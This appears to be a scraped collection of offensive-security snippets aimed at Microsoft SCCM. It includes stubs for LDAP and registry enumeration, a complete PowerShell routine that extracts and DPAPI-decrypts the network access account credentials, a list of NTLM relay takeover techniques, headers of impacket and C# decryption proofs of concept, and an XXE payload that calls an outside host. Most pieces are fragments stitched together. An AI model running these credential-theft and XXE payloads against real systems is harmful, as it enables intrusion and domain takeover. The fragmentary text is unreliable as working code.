Mayyhem

function Get-SCCMCollectionLDAP {
    [CmdletBinding()]
    param(
        [Parameter(Mandatory=$true)]
        [string]$DomainFQDN
    )    

    # Import Active Directory module
    Import-Module ActiveDirectory

Mayyhem

function Get-SiteServerRegData {
    [CmdletBinding()]
    param(
        [Parameter(Mandatory=$true)]
        [string]$ComputerName
    )    

    # Access the remote registry
    $RegPath = "SOFTWARE\Microsoft\SMS"
    $SubKey = "Triggers"

Mayyhem

function Get-RegPermissions {
    param (
        [Parameter(Mandatory=$true)]
        [string]$RegistryPath,
        [Parameter(Mandatory=$false)]
        [string]$ComputerName = $env:COMPUTERNAME
    )
    
    function Convert-RegRights {
        param($Rights)

Mayyhem

function Get-SiteServerCurrentUser {
    [CmdletBinding()]
    param(
        [Parameter(Mandatory=$true)]
        [string]$ComputerName,
    
        [Parameter(Mandatory=$false)]
        [string]$SubKeyPath = "SOFTWARE\Microsoft\SMS\CurrentUser"
    )

Mayyhem

# Load the DLL
Add-Type -Path "C:\Program Files\Microsoft Configuration Manager\bin\X64\Microsoft.ConfigurationManager.ManagedBase.dll"

function Invoke-Decrypt {
    [CmdletBinding()]
    param (
        [Parameter(Mandatory = $true, Position = 0)]
        [string]$Hex,
        
        [Parameter(Mandatory = $false)]

Mayyhem

$SCCMSecret = (Get-CimInstance -ClassName ccm_networkaccessaccount -Namespace root\ccm\policy\machine\actualconfig)
foreach ($secret in $SCCMSecret) {
    $encodedstring = $secret.NetworkAccessUserName.split('[')[2].split(']')[0]
    $ByteArrayLength = $EncodedString.Length / 2 - 4
    $array = New-Object Byte[] ($EncodedString.Length / 2)
    [System.Reflection.Assembly]::LoadWithPartialName("System.Security") | Out-Null
    for ($i = 0; $i -lt ($EncodedString.Length / 2 - 4); $i++) {
        $array[$i] = [System.Convert]::ToByte(($EncodedString.Substring(($i + 4) * 2, 2)), 16)}
    $Decryptedvalue = [System.Text.Encoding]::Unicode.GetString([System.Security.Cryptography.ProtectedData]::Unprotect($array, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser))
    Write-Host("Decrypted NetworkAccess Account Username = $Decryptedvalue")

Mayyhem

ELEVATE‑1	Relay to Site System (SMB)
ELEVATE‑2	Relay Client Push Installation (Heartbeat Discovery)
ELEVATE-3	Relay Client Push Installation (AD Discovery)
TAKEOVER‑1	Relay to Site DB (MSSQL)
TAKEOVER‑2	Relay to Site DB (SMB)
TAKEOVER‑3	Relay to AD CS	
TAKEOVER‑4	Relay CAS to Child	
TAKEOVER‑5	Relay to AdminService	
TAKEOVER‑6	Relay to SMS Provider (SMB)
TAKEOVER‑7	Relay Between HA

Mayyhem

#!/usr/bin/python3
from __future__ import division
from __future__ import print_function
import re
import codecs
import logging
import time
import argparse
import sys
from impacket import version

Mayyhem

// Twitter thread: https://twitter.com/_xpn_/status/1543682652066258946 (was a bit bored ;)
// Needs to be run on the SCCM server containing the "Microsoft Systems Management Server" CSP for it to work.

using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;

namespace SCCMDecryptPOC
{
    internal class Program

Mayyhem

--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>